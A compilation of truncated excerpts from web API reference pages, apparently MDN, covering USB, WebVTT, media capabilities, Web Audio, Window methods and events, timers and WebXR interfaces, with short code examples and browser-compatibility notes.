It represents the result from requesting a transfer of data from the USB host to the USB device. Constructor USBOutTransferResult.USBOutTransferResult() Creates a new USBOutTransferResult object with the provided status and bytesWritten fields. Properties USBOutTransferResult.bytesWrittenRead only Returns the number of bytes from the transfer request that were sent to the device. USBOutTransferResult.statusRead only Returns the status of the transfer request, one of: "ok" - The transfer was successful. ...
... Draft Initial definition. ...
VRStageParameters - Web APIs
This interface is accessible through the VRDisplay.stageParameters property. Properties VRStageParameters.sittingToStandingTransform Read only Contains a matrix that transforms the sitting-space view matrices of VRFrameData to standing-space. VRStageParameters.sizeX Read only Returns the width of the play-area bounds in meters. VRStageParameters.sizeY Read only Returns the depth of the play-area bounds in meters. ...
... Draft Initial definition ...
VTTRegion - Web APIs
Constructor VTTRegion() Returns a newly created VTTRegion object. Properties VTTRegion.id A DOMString that identifies the region. VTTRegion.width A double representing the width of the region, as a percentage of the video. VTTRegion.lines A double representing the height of the region, in number of lines. VTTRegion.regionAnchorX A double representing the region anchor X offset, as a percentage of the region. VTTRegion.regionAnchorY A double representing the region anchor Y offset, as a percentage of the region. ...
...r region = new VTTRegion(); region.width = 50; // Use 50% of the video width region.lines = 4; // Use 4 lines of height. region.viewportAnchorX = 25; // Have the region start at 25% from the left. var cue = new VTTCue(2, 3, 'Cool text to be displayed'); cue.region = region; // This cue will be drawn only within this region. Specifications Specification Status Comment
WebVTT: The
Web Video Text Tracks Format Candidate Recommendation ...
VideoConfiguration - Web APIs
ne the video file being tested when calling the MediaCapabilities methods encodingInfo() and decodingInfo() to determine whether or not the described video configuration is supported, and how smoothly and how smoooth and power-efficient it can be handled. Properties The VideoConfiguration dictionary is made up of five video properties, including: contentType: A valid video MIME type. See our
web video codec guide for types which may be supported. width: The width of the video. height: The height of the video. bitrate: The number of bits used to encode one second of the video file. framerate: The number of frames making up one second of video playback. Examples // Create media configuration to be tested const mediaConfig = { type : 'file', // see MediaDecodingConfiguration and...
...of the video. height: The height of the video. bitrate: The number of bits used to encode one second of the video file. framerate: The number of frames making up one second of video playback. Examples // Create media configuration to be tested const mediaConfig = { type : 'file', // see MediaDecodingConfiguration and MediaEncodingConfiguration video : { contentType : "video/
webm;codecs=vp8", // valid content type width : 800, // width of the video height : 600, // height of the video bitrate : 10000, // number of bits used to encode 1s of video framerate : 30 // number of frames making up that 1s. } }; Specifications Specification Status Comment Media CapabilitiesThe definition of 'VideoConfigu...
Visual Viewport API - Web APIs
The Visual Viewport API provides an explicit mechanism for querying and modifying the properties of the window's visual viewport. The visual viewport is the visual portion of a screen excluding on-screen keyboards, areas outside of a pinch-zoom area, or any other on-screen artifact that doesn't scale with the dimensions of a page. Visual Viewport concepts and usage The mobile
web contains two viewports, the layout viewport and the visual viewport. The layout viewport covers all the elements on a page and the visual viewport is what is actually visible on the screen. When the user pinch-zooms into the page, the visual viewport shrinks but the layout viewport is unchanged. User-interface features like the on-screen keyboard (OSK) can shrink the visual viewport without affecting the layout ...
...d the visual viewport. The layout viewport covers all the elements on a page and the visual viewport is what is actually visible on the screen. When the user pinch-zooms into the page, the visual viewport shrinks but the layout viewport is unchanged. User-interface features like the on-screen keyboard (OSK) can shrink the visual viewport without affecting the layout viewport. What happens when a
web page element needs to be visible on screen regardless of the visible portion of a
web page? For example, what if you need a set of image controls to remain on screen regardless of the pinch zoom level of the device? Current browsers vary in how they handle this. The visual viewport lets
web developers solve this by positioning elements relative to what's shown on screen. To access a window's vi...
WaveShaperNode.curve - Web APIs
er node. For applied examples/information, check out our Voice-change-O-matic demo (see app.js for relevant code). Note: Sigmoid functions are commonly used for distortion curves because of their natural properties. Their S-shape, for instance, helps create a smoother sounding result. We found the below distortion curve code on Stack Overflow. var audioCtx = new (window.AudioContext || window.
webkitAudioContext)(); var distortion = audioCtx.createWaveShaper(); ... function makeDistortionCurve(amount) { var k = typeof amount === 'number' ? amount : 50, n_samples = 44100, curve = new Float32Array(n_samples), deg = Math.PI / 180, i = 0, x; for ( ; i < n_samples; ++i ) { x = i * 2 / n_samples - 1; curve[i] = ( 3 + k ) * x * 20 * deg / ( Math.PI + k * Math.a...
... Working Draft ...
WaveShaperNode.oversample - Web APIs
er node. For applied examples/information, check out our Voice-change-O-matic demo (see app.js for relevant code). Note: Sigmoid functions are commonly used for distortion curves because of their natural properties. Their S-shape, for instance, helps create a smoother sounding result. We found the below distortion curve code on Stack Overflow. var audioCtx = new (window.AudioContext || window.
webkitAudioContext)(); var distortion = audioCtx.createWaveShaper(); ... function makeDistortionCurve(amount) { var k = typeof amount === 'number' ? amount : 50, n_samples = 44100, curve = new Float32Array(n_samples), deg = Math.PI / 180, i = 0, x; for ( ; i < n_samples; ++i ) { x = i * 2 / n_samples - 1; curve[i] = ( 3 + k ) * x * 20 * deg / ( Math.PI + k * Math.a...
... Working Draft ...
WaveShaperNode - Web APIs
er node. For applied examples/information, check out our Voice-change-O-matic demo (see app.js for relevant code). Note: Sigmoid functions are commonly used for distortion curves because of their natural properties. Their S-shape, for instance, helps create a smoother sounding result. We found the below distortion curve code on Stack Overflow. var audioCtx = new (window.AudioContext || window.
webkitAudioContext)(); var distortion = audioCtx.createWaveShaper(); ... function makeDistortionCurve(amount) { var k = typeof amount === 'number' ? amount : 50, n_samples = 44100, curve = new Float32Array(n_samples), deg = Math.PI / 180, i = 0, x; for ( ; i < n_samples; ++i ) { x = i * 2 / n_samples - 1; curve[i] = ( 3 + k ) * x * 20 * deg / ( Math.PI + k * Math.a...
... Working Draft ...
Controlling multiple parameters with ConstantSourceNode - Web APIs
value="0.8" name="volume" id="volumeControl"> </div> </div> <p>Use the button above to start and stop the tones, and the volume control to change the volume of the notes E and G in the chord.</p> CSS .controls { width: 400px; position: relative; vertical-align: middle; height: 44px; } .button { font-size: 32px; cursor: pointer; user-select: none; -moz-user-select: none; -
webkit-user-select: none; -ms-user-select: none; -o-user-select: none; } .right { width: 50%; font: 14px "Open Sans", "Lucida Grande", "Arial", sans-serif; position: absolute; right: 0; display: table-cell; vertical-align: middle; } .right span { vertical-align: middle; } .right input { vertical-align: baseline; } .left { width: 50%; position: absolute; left: 0; displa...
...ed to control the values of gainNode2 and gainNode3 together. playing A Boolean that we'll use to keep track of whether or not we're currently playing the tones. Now let's look at the setup() function, which is our handler for the window's load event; it handles all the initialization tasks that require the DOM to be in place. ...
Window: beforeunload event - Web APIs
The beforeunload event is fired when the window, the document and its resources are about to be unloaded. The document is still visible and the event is still cancelable at this point. Bubbles No Cancelable Yes Interface Event Event handler property onbeforeunload This event enables a
web page to trigger a confirmation dialog asking the user if they really want to leave the page. If the user confirms, the browser navigates to the new page, otherwise it cancels the navigation. According to the specification, to show the confirmation dialog an event handler should call preventDefault() on the event. However note that not all browsers support this method, and some instead require the event handler to implement one of two legacy methods: ...
...d no longer supported in most browsers. To combat unwanted pop-ups, browsers may not display prompts created in beforeunload event handlers unless the page has been interacted with, or may even not display them at all. Attaching an event handler/listener to window or document's beforeunload event prevents browsers from using in-memory page navigation caches, like Firefox's Back-Forward cache or
WebKit's Page Cache. The HTML specification states that calls to window.alert(), window.confirm(), and window.prompt() methods may be ignored during this event. See the HTML specification for more details. Examples The HTML specification states that authors should use the Event.preventDefault() method instead of using Event.returnValue. However, this is not supported by all browsers. window.addEv...
window.cancelIdleCallback() - Web APIs
Cooperative Scheduling of Background Tasks Proposed Recommendation Initial definition. Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 53Disabled Disabled From version 53: this feature is behind the dom.requestIdleCallback.enabled preference (needs to be set to true). ...
Window.crypto - Web APIs
Although the property itself is read-only, all of its methods (and the methods of its child object, SubtleCrypto) are not read-only, and therefore vulnerable to attack by polyfill. Although window.crypto is available on all windows, the returned Crypto object only has one usable feature in insecure contexts: the getRandomValues() method. In general, you should use this API only in secure contexts. ...
... Recommendation Initial definition ...
Window.devicePixelRatio - Web APIs
definition of 'Window.devicePixelRatio' in that specification. Working Draft Initial definition Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...atioChrome Full support 1Edge Full support 12Firefox Full support 18IE Full support 11Opera Full support 11.1Safari Full support 3
WebView Android Full support 1Chrome Android Full support 18Firefox Android Full support 18Opera Android Full support 11.1Safari iOS Full support 1Samsung Internet Android ...
Window.event - Web APIs
DOMThe definition of 'Window.event' in that specification. Living Standard Initial definition. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...es are sorted out (see bug 1520756).Disabled From version 63: this feature is behind the dom.window.event.enabled preference (needs to be set to true). ...
Window.minimize() - Web APIs
the window to a minimized state. A way to undo this method programatically is by calling window.moveTo(). Browser Compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung Internetminimize Non-standardChrome No support NoEdge No support NoFirefox No support NoIE ? Opera ? Safari ?
WebView Android No support NoChrome Android No support NoFirefox Android No support NoOpera Android ? Safari iOS ? Samsung Internet Android No support NoLegend ...
Window.onappinstalled - Web APIs
The event that is fired is a "simple event" that implements the Event interface. ...
...The event that is fired is a "simple event" that implements the Event interface. ...
Window.openDialog() - Web APIs
= enteredAddress; retVals.delivery = "immediate"; Specification This is not part of any specification. Browser Compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung InternetopenDialog Non-standardChrome No support NoEdge No support NoFirefox No support NoIE ? Opera ? Safari ?
WebView Android No support NoChrome Android No support NoFirefox Android No support NoOpera Android ? Safari iOS ? Samsung Internet Android No support NoLegend ...
window.postMessage() - Web APIs
cript: or data: URL is the origin of the script that loaded the URL. Using window.postMessage in extensions window.postMessage is available to JavaScript running in chrome code (e.g., in extensions and privileged code), but the source property of the dispatched event is always null as a security restriction. (The other properties have their expected values.) It is not possible for content or
web context scripts to specify a targetOrigin to communicate directly with an extension (either the background script or a content script).
Web or content scripts can use window.postMessage with a targetOrigin of "*" to broadcast to every listener, but this is discouraged, since an extension cannot be certain the origin of such messages, and other listeners (including those you do not control) can li...
... Lastly, posting a message to a page at a file: URL currently requires that the targetOrigin argument be "*". ...
Window.print() - Web APIs
HTML Living StandardThe definition of 'print()' in that specification. Living Standard Browser Compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 1IE Full support 5Opera Full support 6Notes Full support 6Notes Notes Starting with Opera 33, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.Safari Full support 1.1
WebView Android Full support 1Notes Full support 1Notes Notes Starting with
WebView 46, this method is blocked inside an <iframe> unless its sandbox attribute has the value allow-modals.Chrome Android Full support 18Notes Full support ...
window.requestIdleCallback() - Web APIs
Cooperative Scheduling of Background Tasks Proposed Recommendation Initial definition. Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 55Notes Full support 55Notes Notes Enabled by default. No support 53 -- 55Notes Notes Implemented but disabled by default.IE No support NoOpera Full support 34Safari No support No
WebView Android Full support 47Chrome Android Full support 47Firefox Android Full support 55Notes Full support 55Notes Notes Enabled by default. No support 53 -- 55Notes Notes Implemented but disa...
Window.restore() - Web APIs
This method is currently not working, but you can use: window.moveTo(window.screenX, window.screenY); Browser Compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...viewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung InternetrestoreChrome No support NoEdge No support NoFirefox No support NoIE ? Opera ? Safari ?
WebView Android No support NoChrome Android No support NoFirefox Android No support NoOpera Android ? Safari iOS ? Samsung Internet Android No support NoLegend ...
Window.setImmediate() - Web APIs
This method is used to break up long running operations and run a callback function immediately after the browser has completed other operations such as events and display updates. This method is not expected to become standard, and is only implemented by recent builds of Internet Explorer and Node.js 0.10+. It meets resistance both from Gecko (Firefox) and
Webkit (Google/Apple). Syntax var immediateID = setImmediate(func, [param1, param2, ...]); var immediateID = setImmediate(func); where immediateID is the ID of the immediate which can be used later with window.clearImmediate. func is the function you wish to call. All parameters will be passed directly to your function. Notes The clearImmediate method can be used to clear the immediate actions, just like clearTimeout...
...out. This method can be used instead of the setTimeout(fn, 0) method to execute heavy operations. The feature can be emulated in a few different ways: postMessage can be used to trigger an immediate but yielding callback. Do note that Internet Explorer 8 includes a synchronous version of postMessage, which means it cannot be used as a fallback. MessageChannel can be used reliably inside of
Web Workers whereas the semantics of postMessage mean it cannot be used there. setTimeout(fn, 0) can potentially be used, however as it is clamped to 4ms for timers nested more than 5 levels deep per the HTML spec, it does not make for a suitable polyfill for the natural immediacy of setImmediate. All of these techniques are incorporated into a robust setImmediate polyfill. Specifications ...
Window.speechSynthesis - Web APIs
Syntax var synth = window.speechSynthesis; Value A SpeechSynthesis object. Examples In our basic Speech synthesiser demo, we first grab a reference to the SpeechSynthesis controller using window.speechSynthesis. After defining some necessary variables, we retrieve a list of the voices available using SpeechSynthesis.getVoices() and populate a select menu with them so the user can choose what voice they want. ...
... Draft ...
Window.stop() - Web APIs
dard HTML5The definition of 'Window.stop' in that specification. Recommendation Browser Compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...opChrome Full support YesEdge Full support 14Firefox Full support YesIE No support NoOpera Full support YesSafari Full support Yes
WebView Android Full support YesChrome Android Full support YesFirefox Android Full support YesOpera Android Full support YesSafari iOS Full support YesSamsung Internet Android ...
Window.updateCommands() - Web APIs
in the "state" attribute of the XUL command nodes. Specification DOM Level 0. Not part of specification. Browser Compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...irefox for AndroidOpera for AndroidSafari on iOSSamsung InternetupdateCommands Non-standardChrome No support NoEdge No support NoFirefox Full support YesIE ? Opera ? Safari ?
WebView Android No support NoChrome Android No support NoFirefox Android Full support YesOpera Android ? Safari iOS ? Samsung Internet Android No support NoLegend ...
WindowOrWorkerGlobalScope.setInterval() - Web APIs
guments to the callback function in either setTimeout() or setInterval(). The following IE-specific code demonstrates a method for overcoming this limitation. To use, simply add the following code to the top of your script. /*\ |*| |*| IE-specific polyfill that enables the passage of arbitrary arguments to the |*| callback functions of javascript timers (HTML5 standard syntax). ...
... nothing but a clone of MiniDaemon with an added support for init and onstart functions declarable during the instantiation of the daemon. So the MiniDaemon framework remains the recommended way for simple animations, because Daemon without its collection of methods is essentially a clone of it. minidaemon.js /*\ |*| |*| :: MiniDaemon :: |*| |*| Revision #2 - September 26, 2014 |*| |*| /docs/
Web/API/Window.setInterval |*| https://developer.mozilla.org/User:fusionchess |*| https://github.com/madmurphy/minidaemon.js |*| |*| This framework is released under the GNU Lesser General Public License, version 3 or later. |*| http://www.gnu.org/licenses/lgpl-3.0.html |*| \*/ function MiniDaemon (oOwner, fTask, nRate, nLen) { if (!(this && this instanceof MiniDaemon)) { return; } if (argum...
WindowOrWorkerGlobalScope.setTimeout() - Web APIs
used interchangeably. For clarity, however, you should try to always match them to avoid confusion when maintaining your code. It is guaranteed that a timeout ID will never be reused by a subsequent call to setTimeout() or setInterval() on the same object (a window or a worker). However, different objects use separate pools of IDs. Example The following example sets up two simple buttons in a
web page and hooks them to the setTimeout() and clearTimeout() routines. Pressing the first button will set a timeout which calls an alert dialog after two seconds and stores the timeout id for use by clearTimeout(). You may optionally cancel this timeout by pressing on the second button. HTML <p>Live Example</p> <button onclick="delayedAlert();">Show an alert box after two seconds</button> <p></p>...
...ersion 5 (see bug 633421, the 1000ms constant can be tweaked through the dom.min_background_timeout_value preference). Chrome implements this behavior since version 11 (crbug.com/66078). Firefox for Android uses a timeout value of 15 minutes for background tabs since bug 736602 in Firefox 14, and background tabs can also be unloaded entirely. Firefox 50 no longer throttles background tabs if a
Web Audio API AudioContext is actively playing sound. Firefox 51 further amends this such that background tabs are no longer throttled if an AudioContext is present in the tab at all, even if no sound is being played. These resolve a number of issues with apps which play note-based music not being able to time or synchronize the music properly when the tab is in the background. Throttling of tracki...
WorkerGlobalScope.navigator - Web APIs
worker scope, which can be referenced with WorkerGlobalScope.self), you will get a WorkerNavigator object written to the console -- something like the following: Object {onLine: true, userAgent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) Ap...ML, like Gecko) Chrome/40.0.2214.93 Safari/537.36", product: "Gecko", platform: "MacIntel", appVersion: "5.0 (Macintosh; Intel Mac OS X 10_10_1) Apple
WebKi...ML, like Gecko) Chrome/40.0.2214.93 Safari/537.36"...} appCodeName: "Mozilla" appName: "Netscape" appVersion: "5.0 (Macintosh; Intel Mac OS X 10_10_1) Apple
WebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36" hardwareConcurrency: 4 onLine: true platform: "MacIntel" product: "Gecko" userAgent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) Appl...
... Specifications Specification Status Comment HTML Living StandardThe definition of 'navigator' in that specification. Living Standard ...
WritableStreamDefaultWriter.ready - Web APIs
StreamsThe definition of 'ready' in that specification. Living Standard Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...OSSamsung Internetready ExperimentalChrome Full support 59Edge Full support 16Firefox No support NoIE No support NoOpera Full support 46Safari ?
WebView Android Full support 59Chrome Android Full support 59Firefox Android No support NoOpera Android Full support 43Safari iOS ? Samsung Internet Android Full support ...
XMLHttpRequest.multipart - Web APIs
This boolean indicates if the response is expected to be a stream of possibly multiple XML documents. ...
... This boolean indicates if the response is expected to be a stream of possibly multiple XML documents. ...
XMLHttpRequestEventTarget - Web APIs
n implement in an object that will handle events for an XMLHttpRequest. ...
...0" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">EventTarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#D4DDE4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/XMLHttpRequestEventTarget" target="_top"><rect x="151" y="1" width="250" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="276" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">XMLHttpRequestEventTarget</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all...
XRBoundedReferenceSpace - Web APIs
The
WebXR Device API's XRBoundedReferenceSpace interface describes a virtual world reference space which has preset boundaries. This extends XRReferenceSpace, which describes an essentially unrestricted space around the viewer's position. These bounds are defined using an array of points, each of which defines a vertex in a polygon inside which the user is allowed to move. This is typically used when the XR system is capable of tracking the user's physical movement within a limited distance of their starting position. The specified bounds may, in fact, describe the shape and size of the room the user is located in, in order to let the
WebXR site or application prevent the user from colliding with the walls or other obstacles in the real world. At a minimum, the boundaries indicate the ar...
...f which defines a vertex in the polygon defining the boundaries within which the user will be required to remain. These vertices must be sorted such that they move clockwise around the viewer's position. Methods XRBoundedReferenceSpace inherits the methods of its parent interface, XRReferenceSpace. It has no further methods. Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRBoundedReferenceSpace' in that specification. Working Draft Initial definition. ...
XREnvironmentBlendMode - Web APIs
Its values are used by the XRSession interface's environmentBlendMode property. Values opaque The rendered image is drawn without allowing any pass-through imagery. This is primarily used by fully-immersive VR headsets, which totally obscure the surrounding environment, with none of the real world shown to the user at all. The alpha values specified in the XRSession's renderState property's baseLayer field are ignored since the alpha values for the rendered imagery are all treated as being 1.0 (fully opaque). ...
...sion's renderState.baseLayer property provides relative weights of the artificial layer during the compositing process. Pixels whose alpha value is 1.0 are rendered fully opaque, totally obscuring the real world, while pixels with an alpha of 1.0 are totally transparent, leaving the surrounding environment to pass through. Specifications Specification Status Comment
WebXR Augmented Reality ModuleThe definition of 'XREnvironmentBlendMode' in that specification. Editor's Draft Initial definition. ...
XRFrame - Web APIs
Events which communicate the tracking state of objects also provide an XRFrame reference as part of their structure. In addition to providing a reference to the XRSession for which this frame is to be rendered, the getViewerPose() method is provided to obtain the XRViewerPose describing the viewer's position and orientation in space, and getPose() can be used to create an XRPose describing the relative position of one XRSpace relative to another. ...
...ecific object can be obtained by calling one of the methods on the object. Methods getPose() Returns an XRPose object representing the spatial relationship between the two specified XRSpace objects. getViewerPose() Returns an XRViewerPose describing the viewer's position and orientation in a given XRReferenceSpace. Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRFrame' in that specification. Working Draft Initial definition. ...
XRHandedness - Web APIs
XRHandedness is used as the value of the the XRInputSource property handedness. Values none The input controller is not associated with one of the user's hands. left The input controller is being held in, worn on, or is attached to the user's left hand. right The input controller is being held in, worn on, or is attached to the user's right hand. Examples One important usage scentario for handedness is to determine which hand a controller is in so you can draw a representation of that hand (or the device that hand is controlling) in virtual space. ...
...r the gripSpace transformed into the current reference space. Assuming that's then valid, a function called myRenderHandObject() is called with the grip's pose and the value of handedness. WIth these values in hand (no pun intended), myRenderHandObject() can draw the appropriate model positioned and formed for the correct hand. Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRHandedness' in that specification. Working Draft Initial definition. ...
XRInputSource.handedness - Web APIs
Syntax let hand = xrInputSource.handedness; Value A DOMString indicating whether the input controller is held in one of the user's hands, and if it is, which hand. The value, which comes from the XRHandedness enumerated type, is one of the following: none The input controller is not associated with one of the user's hands. left The input controller is being held in, worn on, or is attached to the user's left hand. right The input controller is being held in, worn on, or is attached to the user's right hand. ...
...r the gripSpace transformed into the current reference space. Assuming that's then valid, a function called myRenderHandObject() is called with the grip's pose and the value of handedness. WIth these values in hand (no pun intended), myRenderHandObject() can draw the appropriate model positioned and formed for the correct hand. Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRInputSource.handedness' in that specification. Working Draft Initial definition. ...
XRInputSourceArray.length - Web APIs
The read-only length property returns an integer value indicating the number of items in the input source list represented by the XRInputSourceArray object. Syntax let inputSourceCount = xrInputSourceArray.length; Value An integer value indicating the number of XRInputSource objects representing
WebXR input sources are includled in the array. Examples In this example, a game that requires at least one input source uses length to check this before proceeding to allow the user to play the game. let sources = xrSession.inputSources; if (sources.length === 0) { showAlertDialog("You need to have at least one controller to play Super Duper Shark Jump Fest 9000.", [ { label: "Shop Now", url: "https://www.amazon.com/s?k=vr+controllers" }, ...
... Working Draft Initial definition. ...
XRInputSourceArray - Web APIs
In addition to being able to access the input sources in the list using standard array notation (that is, with index numbers insize square brackets), methods are available to allow the use of iterators and the forEach() method is also available. Properties The following properties are available on XRInputSourceArray objects. length Read only The number of XRInputSource objects in the list. Methods The following methods are available on XRInputSourceArray objects. ...
... Working Draft Initial definition. ...
XRInputSourceEvent() - Web APIs
Syntax newInputSourceEvent = new XRInputSourceEvent(type, eventInitDict); Parameters type A DOMString indicating which of the input source events the new object will represent. Permitted values are listed under Event types below. eventInitDict An object based on the XRInputSourceEventInit dictionary which contains the values to assign to the new event's properties. ...
...s on (shoots at/pokes at/whatever) objects in the scene. xrSession.addEventListener("select", event => { let targetRayPose = event.frame.getPose(event.inputSource.targetRaySpace, myRefSpace); if (targetRayPose) { let hit = myHitTest(targetRayPose.transform); if (hit) { /* handle the hit */ } } }); Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRInputSourceEvent' in that specification. Working Draft Initial definition. ...
XRInputSourceEvent.frame - Web APIs
The read-only XRInputSourceEvent property frame specifies an XRFrame object representing the event frame during which a
WebXR user input occurred. This may thus be an event which occurred in the past rather than a current or impending event. Syntax let inputFrame = xrInputSourceEvent.frame; Value An XRFrame indicating the event frame at which the user input event described by the object took place. Usage notes The event frame does not correspond to a visual frame as is delivered to the frame rendering callback function (see Rendering and the
WebXR frame rendering callback for details on the callback). Instead, the XRFrame specified by the frame property is simply a method to provide access to the getPose() method, which you can use to get the relative positions of the objects in the ...
...eckAndHandleHit() to see if the ray was pointing at anything when the select was triggered. xrSession.onselectstart = event => { let targetRayPose = event.frame.getPose(event.inputSource.targetRaySpace, myRefSpace); if (targetRayPose) { checkAndHandleHit(targetRayPose.transform); } }; Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRInputSourceEvent.frame' in that specification. Working Draft Initial definition. ...
XRInputSourceEvent.inputSource - Web APIs
putSource property specifies the XRInputSource which generated the input event. This information lets you handle the event appropriately given the particulars of the user input device being manipulated. Syntax let inputSource = xrInputSourceEvent.inputSource; Value An XRInputSource object identifying the source of the user input event. This event indicates an action the user has taken using a
WebXR input controller, such as a hand controller, motion sensing device, or other input apparatus. Example The snippet below shows a handler for the select event which looks specifically for events which happen on gaze input devices. The device type is identified by looking at the XRInputSource in inputSource and its targetRayMode property. xrSession.onselect = event => { let source = event.inp...
...fically for events which happen on gaze input devices. The device type is identified by looking at the XRInputSource in inputSource and its targetRayMode property. xrSession.onselect = event => { let source = event.inputSource; if (source.targetRayMode == "gaze") { /* handle selection using a gaze input */ } }; Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRInputSourceEvent.inputSource' in that specification. Working Draft Initial definition. ...
XRInputSourceEvent - Web APIs
Constructor XRInputSourceEvent() Creates and returns a new XRInputSourceEvent object whose properties match those provided in the eventInitDict dictionary provided. Properties frame Read only An XRFrame object providing the needed information about the event frame during which the event occurred. This frame may have been rendered in the past rather than being a current frame. ...
...s on (shoots at/pokes at/whatever) objects in the scene. xrSession.addEventListener("select", event => { let targetRayPose = event.frame.getPose(event.inputSource.targetRaySpace, myRefSpace); if (targetRayPose) { let hit = myHitTest(targetRayPose.transform); if (hit) { /* handle the hit */ } } }); Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRInputSourceEvent' in that specification. Working Draft Initial definition. ...
XRInputSourceEventInit.inputSource - Web APIs
The XRInputSourceEventInit dictionary's inputSource property is used when calling the XRInputSourceEvent() constructor to specify the XRInputSource from which the newly-created event is being sent. Of course, as a general rule, you won't need to create XRInputSourceEventInit objects yourself. These events are generated by and sent to you by the
WebXR infrastructure. Syntax let xrInputSourceEventInit.inputSource = xrInputSource; let xrInputSourceEventInit = { inputSource: xrInputSource }; let xrInputSourceEvent = new XRInputSourceEvent(type, { inputSource: xrInputSource }); Value An XRInputSource object indicating the source of the newly-created XRInputSourceEvent to be created. The new object's inputSource will be set to this value. Examples This example creates a new select even...
...y-created XRInputSourceEvent to be created. The new object's inputSource will be set to this value. Examples This example creates a new select event and sends it to the XRSession. let event = new XRInputSourceEvent("select", { frame: eventFrame, inputSource: source }; if (event) { xrSession.dispatchEvent(event); } Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRInputSourceEventInit.inputSource' in that specification. Working Draft Initial definition. ...
XRInputSourcesChangeEvent() - Web APIs
Syntax newInputSourcesChangeEvent = new XRInputSourcesChangeEvent(type, eventInitDict); Parameters type A DOMString indicating the type of event which has occurred. This string must always be inputsourceschange. eventInitDict An object conforming to the XRInputSourcesChangeEventInit dictionary, prodividing the initial values for the event. ...
... Working Draft Initial definition. ...
XRInputSourcesChangeEvent.added - Web APIs
h identified using an XRInputSource object, which have been newly made available for use. Syntax let addedInputs = xrInputSourcesChangeEvent.added; Value An Array of zero or more XRInputSource objects, each representing one input device added to the XR system. Examples The example below creates a handler for the inputsourceschange event that processes the lists of added and removed from the
WebXR system. It looks for new and removed devices whose targetRayMode is tracked-pointer. xrSession.oninputsourcescchange = event => { for (let input of event.added) { if (input.targetRayMode == "tracked-pointer") { addedPointerDevice(input); } } for (let input of event.removed) { if (input.targetRayMode == "tracked-pointer") { removedPointerDevice(input); } } };...
...ked-pointer. xrSession.oninputsourcescchange = event => { for (let input of event.added) { if (input.targetRayMode == "tracked-pointer") { addedPointerDevice(input); } } for (let input of event.removed) { if (input.targetRayMode == "tracked-pointer") { removedPointerDevice(input); } } }; Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRInputSourcesChangeEvent.added' in that specification. Working Draft Initial definition. ...
XRInputSourcesChangeEvent.removed - Web APIs
ce objects representing the input sources which have been removed from the XRSession. Syntax removedInputs = xrInputSourcesChangeEvent.removed; Value An Array of zero or more XRInputSource objects, each representing one input device removed from the XR system. Examples The example below creates a handler for the inputsourceschange event that processes the lists of added and removed from the
WebXR system. It looks for new and removed devices whose targetRayMode is tracked-pointer. xrSession.oninputsourcescchange = event => { for (let input of event.added) { if (input.targetRayMode == "tracked-pointer") { addedPointerDevice(input); } } for (let input of event.removed) { if (input.targetRayMode == "tracked-pointer") { removedPointerDevice(input); } } };...
...ked-pointer. xrSession.oninputsourcescchange = event => { for (let input of event.added) { if (input.targetRayMode == "tracked-pointer") { addedPointerDevice(input); } } for (let input of event.removed) { if (input.targetRayMode == "tracked-pointer") { removedPointerDevice(input); } } }; Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRInputSourcesChangeEvent.removed' in that specification. Working Draft Initial definition. ...
XRInputSourcesChangeEvent - Web APIs
Constructor XRInputSourcesChangeEvent() Creates and returns a new XRInputSourcesChangeEvent object configured as indicated by the given XRInputSourcesChangeEventInit object. The specified type must be inputsourceschange, which is the only event that uses this interface. Properties added Read only An array of zero or more XRInputSource objects, each representing an input device which has been newly connected or enabled for use. removed Read only An array of zero or more XRInputSource objects representing the input devices newly connected or enabled for use. ...
... Working Draft Initial definition. ...
